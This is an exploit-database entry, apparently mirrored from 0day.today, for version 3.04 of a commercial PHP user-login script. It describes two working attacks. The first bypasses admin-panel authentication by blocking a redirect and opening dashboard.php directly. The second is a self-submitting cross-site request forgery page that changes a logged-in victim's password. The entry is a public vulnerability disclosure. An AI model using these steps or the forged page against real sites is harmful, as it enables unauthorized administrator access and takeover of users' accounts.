Lucene search
K

User Login and Management - Multiple Vulnerabilities

🗓️ 30 Aug 2017 00:00:00Reported by Ali BawazeEerType 
zdt
 zdt
🔗 0day.today👁 239 Views

User Login and Management PHP Script - Multiple Vulnerabilities, Admin Dashboard Authentication Bypass, Account Takeover - Cross Side Request Forger

Code
-----------------------------------------------------------------------------------
|<!-- 
# Exploit Title:  User Login and Management PHP Script - multiple vulnerabilities 
# Exploit Author: Ali BawazeEer || https://sa.linkedin.com/in/alibawazeeer
# Dork: N/A
# Date: 29.08.2017
# software link : https://www.codester.com/items/469/user-login-and-management-php-script
# demo : http://froiden.cloudapp.net/LoginDashboard/index.php
# Version: 3.04
# Category: Webapps
# Tested on: windows64bit / mozila firefox 
# 
#
|--!>
 
|----------------------------------------------------------------------------------
 
1) admin dashboard authentication bypass 
 
Description : An Attackers are able to completely compromise the web application built upon
the user login and management php script as they can gain access to the admin panel and 
manage other users as an admin without  authentication!
  
  
Step 1: Create a rule in No-Redirect Add-on: ^http://localhost/LoginDashboard/admin/index.php
Step 2: Access http://localhost/LoginDashboard/admin/dashboard.php
  
  
Risk : Unauthenticated attackers are able to gain full access to the administrator panel
and thus have total control over the application and users , including add admin user .. etc
 
 
|----------------------------------------------------------------------------------
 
 
2) account takeover - cross side request forgery 
 
 
Description : attacker can craft a malicious page and send it to any user who is already authenticated to change the password 
 
> exploitation < 
 
 
<html>
<body>
<form name="csrf_form" action="http://localhost/LoginDashboard/code/ajaxChangePassword.php?password=1234567890&cpassword=1234567890" method="POST">
 
<script type="text/javascript">document.csrf_form.submit();</script>
</body>
</html>
 
 
|-----------------------------------------EOF-----------------------------------------

#  0day.today [2018-03-01]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation